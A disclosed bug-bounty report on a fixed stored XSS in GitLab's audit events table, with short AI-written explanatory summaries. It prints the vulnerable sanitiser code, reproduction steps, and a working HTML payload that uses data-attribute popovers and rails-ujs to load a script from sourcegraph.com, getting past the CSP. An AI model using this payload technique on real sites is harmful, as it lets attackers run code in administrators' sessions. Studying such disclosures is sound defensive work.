Stored XSS in the Audit Events table
The audit events table sanitised HTML using DOMPurify with only 'strong' allowed as a tag, but DOMPurify still permitted data attributes. An attacker could inject a strong element with data attributes that created a popover, which when hovered and clicked loaded and executed a script from an allowed external domain, leading to stored XSS.
GitLab
Originally disclosed on GitLab
- Fixed in 12 days
- Disclosed after 12 days
HackerOne report #1241727 by vakzz on 2021-06-23, assigned to @ngeorge1:
Report | Attachments | How To Reproduce
Report
Summary
The audit events table using the following to sanitise the text coming from the audit event action:
const ALLOWED_TAGS = ['strong'];
...
sanitizedHtml() {
return sanitize(this.html, { ALLOWED_TAGS });
}
This uses dompurify and overrides the allowed tags to only accept strong.
The issue is that by default dompurify allows data attributes as well as quite a few others - https://github.com/cure53/DOMPurify/blob/main/src/purify.js#L186-L191
One of the ways to add an entry to the audit log with some controlled data is to change the name of a DAST scanner profile.
def create_audit_events(profile, params, old_params)
params.each do |property, new_value|
old_value = old_params[property]
next if old_value == new_value
::Gitlab::Audit::Auditor.audit(
name: 'dast_scanner_profile_update',
author: current_user,
scope: project,
target: profile,
message: "Changed DAST scanner profile #{property} from #{old_value} to #{new_value}"
)
end
This allows for a <strong> element to be added to the audit events table with arbitrary data attributes and other "safe" attributes.
Using the data attributes it's possible add a popover to the strong element using data-html=1 data-toggle=popover data-triggers=hover data-title=payload. When triggered, the payload will also be sanitised but using the default dompurify options which allows for a lot more tags to be used:
getSafeHtml(html) {
return sanitize(html);
},
This allows for a link to be created which can then use the rails-ujs data attributes to load and execute a script when clicked.
The style and class attributes can also be used to make the popover and link cover the entire page.
The CSP on gitlab.com has sourcegraph.com listed as a connect-src, and sourcegraph allow you to upload arbitrary javascript when creating an extension: https://sourcegraph.com/-/static/extension/11915.js. Since rails-ujs will fetch the data then execute it if the content-type is correct, this allows for a CSP bypass using the follow if clicked: <a href=//sourcegraph.com/-/static/extension/11915.js data-type=script data-remote=true>
Steps to reproduce
- create a new project on a gitlab ultimate tier
- create a new scanner profile called
aaaat https://gitlab.com/GROUP/PROJECT/-/security/configuration/dast_scans/dast_scanner_profiles/new - change the name of the scanner to
<strong class="popover gl-h-full min-vw-100 gl-opacity-0"data-html=1 data-toggle=popover data-triggers=hover data-title="<a class='card-img-overlay vh-100 vw-100' href=//sourcegraph.com/-/static/extension/11915.js data-type=script data-remote=true>"> - view the audit events at https://gitlab.com/GROUP/PROJECT/-/audit_events or as a gitlab admin at https://gitlab.com/admin/audit_logs
- click anywhere on the bottom half of the page to trigger the xss
Impact
Arbitrary javascript can be executed if a gitlab admin views the audit log and clicks anywhere on the page
Examples
POC at https://gitlab.com/vakzz-group/audit/-/audit_events
What is the current bug behavior?
Data attributes are allowed when sanitising audit events
What is the expected correct behavior?
All attributes should be removed
Output of checks
GitLab.com
Impact
Arbitrary javascript can be executed if a gitlab admin views the audit log and clicks anywhere on the page
Attachments
Warning: Attachments received through HackerOne, please exercise caution!
How To Reproduce
Please add reproducibility information to this section:
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Impact
Arbitrary JavaScript could be executed if a GitLab admin viewed the audit log and clicked anywhere on the page; the CSP was bypassed by loading a script from an allowed external domain.
What the attacker needed
GitLab Ultimate tier project; Ability to create and edit DAST scanner profiles; Victim (admin) views audit log and clicks
The fix
The sanitiser should be configured to remove all attributes, not just restrict tags.
How it was found
- Create a new project on GitLab Ultimate tier.
- Create a new DAST scanner profile with a benign name.
- Change the scanner profile name to a crafted strong element with data attributes that create a popover containing a link.
- View the audit events page for the project or as an admin.
- Click anywhere on the bottom half of the page to trigger the XSS.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
The audit log page tried to clean up text before showing it, but it only removed dangerous tags and forgot to remove special attributes. Those attributes let an attacker turn a harmless bold word into a clickable popup that runs code. When an admin viewed the log and clicked, the attacker's code ran in the admin's browser.
What is XSS?
Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.